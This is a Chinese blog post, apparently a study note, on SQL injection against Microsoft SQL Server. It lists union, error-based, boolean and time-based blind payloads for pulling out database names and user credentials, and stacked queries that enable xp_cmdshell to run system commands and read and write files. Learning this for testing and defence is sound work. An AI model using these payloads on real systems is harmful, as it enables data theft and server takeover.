【攻防技术系列+SQL注入】-- MSSQL

mssql系统自带数据库: master
每个库都有一个系统自带表(系统对象表):sysobjects
sysobjects三个字段:NAME XTYPE ID

where xtype='x' and name='xp_cmdshel'  #以x开头  名称为xp_cmdshel


* S:系统表
  * U:用户创建表\*\*(注意为大写)\*\*
  * **小写为过滤条件**
id:连接syscolumns表 (相对于存储的字段信息)

        name:表名信息

        xtype:表的常见类型
syscolumns表:保存当前数据库中的所有列名 (通过name关键字来表示,此时的name不是表名信息的name)


#查找users表中的第一个字段
select top 1 name from syscolumns where id=(select id from sysobjects where name='users')
top关键字:输出限制,相当于MySQL中的limit

        用法:top + 数字
stuff替换字符串

STUFF (字符表达式, 开始位置, 长度, 替换字符串表达式)  # 包含开始位置
# 字符表达式:你想要修改的字符串表达式。
# 开始位置:你想要开始替换字符的字符串内起始位置。
# 长度:要替换的字符数。
# 替换字符串表达式:将替换开始位置和长度参数指定的字符的新字符串。

#例:
SELECT STUFF('Hello World', 7, 5, 'Universe')

这个查询会返回 "Hello Universe"。原始字符串是 "Hello World",它会从第七个位置开始('W'的位置),删除长度为5的子串('World'),然后用 "Universe" 替换它。
select @@version       --查询数据库的版本
select host_name()     --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name()       --查询当前数据库名
select db_name(1)      --查询第一个数据库名
select db_name(2)      --查询第二个数据库名,前6个数据库为默认库
select user            --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner

注释符   --

    **is_srvrolemember('server_role')**查询数据库权限 正确返回1

        sysadmin 系统管理员

        serveradmin 服务器管理员

        setupadmin 安装程序管理员

        securityadmin 安全管理员

        processadmin 进程管理员

        diskadmin 磁盘管理员

        dbcreator 数据库创建者

        bulkadmin 大容量插入创建者

        public默认的、预定义的角色,sqlserver实例中每个登录用户的默认角色

        server_role

    **is_member('database_role')**查询数据库角色 正确返回1

        db_owner****数据库所有者

        db_ddladmin****数据库DDL管理员(创建、修改、删除表)

        db_accessadmin 数据库访问管理员。具有管理数据库用户访问权限的权限。

        db_securityadmin 数据库安全管理员。具有管理数据库角色、权限和访问控制列表的权限。

        db_backupoperator 数据库备份操作员。具有备份数据库的权限。

        db_datareader 数据库数据读取者。具有读取数据库中所有表和视图的权限。

        db_datawriter 数据库数据写入者。具有向数据库中所有表写入数据的权限。

        db_denydatareader 拒绝数据库数据读取者

        db_denydatawriter 拒绝数据库数据写入者

        database_role

    盲注函数

        len() 判断长度

        substring() 截取字符串

        ascii() 返回字符ASCII码

        waitfor delay '时:分:秒' 延时
#判断是否存在注入点
mssql.php?id=1 and 1=1 --

#判断是否为mssql数据库
mssql.php?id=1 and exists(select * from sysobjects) --

#判断字段长度
mssql.php?id=1 order by 3 --   #正常
mssql.php?id=1 order by 4 --   #报错

#判断回显位
mssql.php?id=-1 union select 11,22,33 --

#爆数据库名,版本信息
mssql.php?id=-1 union select 11,db_name(),@@version --

#爆表名(假设库名为kaiwen)
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' --   #所有表名

#模糊查表
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' and name LIKE '%users%' -- #模糊查询含有‘users’的表


#爆列(字段)名(假设表名为user)
mssql.php?id=-1 union select 11,db_name(),col_name(object_id('users'),1) from sysobjects  --    #其中1代表 user表中的第1列
... ...

#爆数据(假设字段为username、password)
mssql.php?id=-1 union select 11,db_name(),username from users
mssql.php?id=-1 union select 11,db_name(),password from users

#查库
-- 查询前1条数据
select top 1 name from master..sysdatabases

-- 查询前2条数据
select top 2 name from master..sysdatabases

-- 查询第3条数据
-- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。也就是先排除前2条数据再查询第1条,即原来表中的第3条
select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases)

#查表
#方式一:
select top 1 name from 库名..sysobjects where name not in (select top 1 name from master..sysobjects)  #第二个表

#方式二:
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’)) #查 不是users表的下一个表

函数


convert() 
file_name() 
db_name() 
col_name() 
filegroup_name()
object_name() 
schema_name() 
type_name() 
cast()

convert()函数

#查询基本信息
convert(int,@@version)     获取版本信息 
convert(int,db_name())     数据库名字 
convert(int,user)      当前⽤户名 
convert(int,@@SERVERNAME)  获取有关服务器主机的信息

#当前数据库
?id=2 and 1=convert(int,db_name()) --
--或者
?id=convert(int,db_name()) --
 
--或者
?id=1 and 1=convert(int,db_name(0)) --   --查询当前数据库
?id=1 and 1=convert(int,db_name(1)) --   --查询第二个数据库,以此类推

#查表名(用户创建的)
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype = 'U')) --

#查列名
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.syscolumns where id = object_id(‘users’))) --

#爆数据
?id=1 and 1=convert(int,(select top 1 username+password from users )) --
#布尔盲注
#判断是否存在盲注
and 1=1--     --正常显示
and 1=2--     --不正常

#猜测数据库名长度
/mssql.php?id=2 and len((select db_name()))=3 --   --数据库名长度为3个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 --   --数据库名长度为4个字符,页面正常显示

#获取库名
?id=2 and ascii(substring((select db_name()),1,1))>78 --
?id=2 and ascii(substring((select db_name()),1,1))=78 --
-- 查询数据库名第一个字符的ascii码为78,对应字母N

#时间盲注
#判断是否存在注入点
?id=2 WAITFOR DELAY '0:0:5' --
#猜测库名长度
?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为4字符则延时4s
#猜测库名
?id=2  if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s

多语句注入

原SQL语句后拼接分号;进行闭合原语句,之后再拼接其它类型的SQL语句。

1'; exec xp_cmdshell 'whoami > c:\temp.txt' --

判断库站分离

- `Servername`服务名,位于Web端
- `Host_name`数据库系统名,位于数据库端

-- 若正常回显则站库不分离,反之分离
1' and ((select host_name()) = (select @@SERVERNAME))

判断XP_CMDSHELL是否开启


- 存储过程中的`XP_CMDSHELL`可执行系统命令,是后续提权的主要方式,从`MSSQL2005`版本之后默认关闭

-- 若正常回显则开启,反之不开启
1' and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') --
#以x开头  名称为xp_cmdshel

-- 若不开启,可以在Web端通过多语句注入进行开启
1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --

写入文件

- 通过`xp_cmdshell`执行系统命令写入文件
exec xp_cmdshell 'whoami > C:/temp.txt'

读取文件


- 创建临时表,将文件写入该表,然后查询,最后删除

create table temp(res varchar(8000)); # 创建表temp
bulk insert master.dbo.temp from 'C:/temp.txt'; 
#bulk inser 添加操作  通常用于处理大量数据
#master.dbo.temp  master库中的dbo.temp表
select * from master.dbo.temp
drop table temp;

posted @ 2024-05-21 03:53  oO0oOo0Oo  阅读(4)  评论(0编辑  收藏  举报